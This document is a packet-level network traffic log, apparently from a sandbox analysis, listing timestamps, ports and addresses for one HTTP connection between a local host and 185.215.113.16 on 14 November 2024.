Nov 14, 2024 17:24:39.919487000 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.933381081 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.933435917 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.933444977 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.933491945 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.933501005 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.933510065 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.933520079 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.933547020 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.933650017 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.933670044 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.933677912 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.933695078 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.934268951 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.934278965 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.934427023 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.934427023 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.962521076 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.962613106 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.962621927 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.962631941 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.962641954 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.962656021 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.962665081 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.962683916 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.962729931 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.962739944 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.962749004 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.962757111 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.962765932 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.962858915 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.962858915 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.962925911 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.963001013 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.963011026 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.963021040 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.963031054 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.963040113 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.963052034 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.963085890 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.963085890 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.963164091 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.963274002 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.963283062 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.963291883 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.963304043 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.963320017 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.963330030 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.963339090 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.963352919 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.963367939 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.963418007 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.963623047 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.963669062 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.963725090 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.963790894 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.963802099 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.964060068 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.968456984 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.968554020 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.968563080 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.968651056 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.968661070 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.968669891 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.968678951 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.968681097 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.968709946 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.968856096 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.968864918 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.968866110 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.969007969 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.979288101 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.979420900 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.979454994 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.979454994 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.979625940 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.996805906 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.996818066 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.996828079 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.996889114 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.996900082 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.996910095 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.996921062 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.996921062 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.996941090 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.996973991 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.997117996 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.997128963 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.997138977 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.997149944 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.997159958 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.997169971 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.997181892 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.997183084 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.997205019 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.997320890 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.997433901 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:40.041486025 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:40.041564941 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:40.041728020 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:40.041739941 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:40.041749954 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:40.041759968 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:40.041770935 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:40.041781902 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:40.041791916 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:40.041863918 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:40.041874886 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:40.041886091 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:40.041898012 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:40.041898966 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:40.041933060 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:40.041946888 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:40.041965008 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:40.041975021 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:40.041986942 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:40.041987896 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:40.041999102 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:40.042032003 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:40.042066097 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:40.042737961 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:40.042748928 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:40.042758942 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:40.042768955 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:40.042779922 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:40.042790890 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:40.042800903 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:40.042810917 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:40.042823076 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:40.042824984 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:40.042834044 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:40.042848110 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:40.042908907 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:40.042918921 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:40.042928934 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:40.042934895 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:40.042936087 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:40.042948008 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:40.042958975 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:40.042968988 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:40.042972088 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:40.043030977 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:40.043036938 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:40.043133974 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:40.043144941 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:40.043365955 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:40.043376923 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:40.043386936 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:40.043394089 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:40.043399096 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:40.043423891 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:40.043493986 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:40.043504953 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:40.043514967 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:40.043523073 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:40.043560982 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:40.043560982 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:40.043602943 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:40.043613911 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:40.043623924 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:40.043633938 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:40.043697119 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:40.043697119 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:40.043900013 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:40.043909073 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:40.044033051 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:40.044060946 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:40.044081926 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:40.044091940 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:40.044162035 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:40.044169903 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:40.044178963 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:40.044190884 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:40.044190884 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:40.044202089 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:40.044214964 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:40.044352055 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:40.044384956 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:40.044394970 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:40.044406891 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:40.044411898 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:40.044418097 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:40.044425011 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:40.044430971 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:40.044440985 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:40.044450998 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:40.044461012 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:40.044475079 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:40.044512033 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:40.044512033 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:40.044878006 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:40.044888020 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:40.044898033 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:40.044910908 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:40.044920921 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:40.044924021 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:40.044931889 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:40.044943094 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:40.044953108 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:40.044958115 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:40.044965982 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:40.044992924 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:40.045052052 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:40.045226097 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:40.045237064 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:40.045248985 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:40.045262098 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:40.045273066 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:40.045289040 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:40.045372009 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:40.045377970 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:40.045389891 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:40.045399904 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:40.045407057 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:40.045411110 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:40.045419931 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:40.045423985 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:40.045450926 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:40.045461893 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:40.045464039 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:40.045471907 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:40.045484066 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:40.045494080 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:40.045495987 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:40.045504093 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:40.045514107 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:40.045530081 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:40.046375036 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:40.046375036 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:40.053812027 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:40.053853035 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:40.053864002 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:40.053962946 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:40.053972006 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:40.053982973 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:40.053987980 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:40.053993940 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:40.054013968 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:40.054136038 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:40.054177046 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:40.054187059 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:40.054195881 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:40.054224014 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:40.054291964 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:40.080482960 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:40.080554008 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:40.080614090 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:40.080646992 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:40.080646992 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:40.080682993 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:40.080718040 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:40.080740929 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:40.080761909 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:40.080919027 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:40.080929995 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:40.080940008 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:40.080943108 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:40.080952883 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:40.080964088 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:40.080974102 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:40.080985069 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:40.080986023 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:40.080996990 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:40.081006050 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:40.081007957 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:40.081052065 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:40.081181049 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:40.081347942 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:40.081358910 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:40.081368923 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:40.081379890 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:40.081391096 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:40.081413984 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:40.081435919 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:40.081446886 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:40.081455946 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:40.081460953 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:40.081468105 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:40.081476927 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:40.081485033 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:40.081487894 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:40.081496954 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:40.081549883 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:40.081549883 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:40.086478949 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:40.086888075 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:40.086898088 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:40.086960077 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:40.086971998 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:40.086982012 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:40.086993933 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:40.087030888 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:40.087137938 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:40.087174892 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:40.087724924 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:40.096765995 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:40.096829891 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:40.096842051 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:40.097093105 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:40.114151955 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:40.114170074 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:40.114181042 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:40.114286900 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:40.114707947 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:40.114718914 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:40.114828110 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:40.114830017 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:40.114852905 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:40.114942074 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:40.114953995 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:40.114964962 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:40.114974976 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:40.114983082 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:40.114998102 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:40.115099907 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:40.115226984 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:40.115236044 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:40.115246058 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:40.115256071 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:40.115322113 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:40.115322113 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:40.168150902 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:40.168165922 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:40.168176889 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:40.168186903 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:40.168282032 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:40.168281078 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:40.168281078 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:40.168292999 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:40.168303013 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:40.168329000 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:40.168340921 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:40.168344021 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:40.168351889 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:40.168361902 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:40.168395042 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:40.168507099 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:40.168658018 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:40.168859959 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:40.168872118 CET	80	49830	185.215.113.16	192.168.2.6
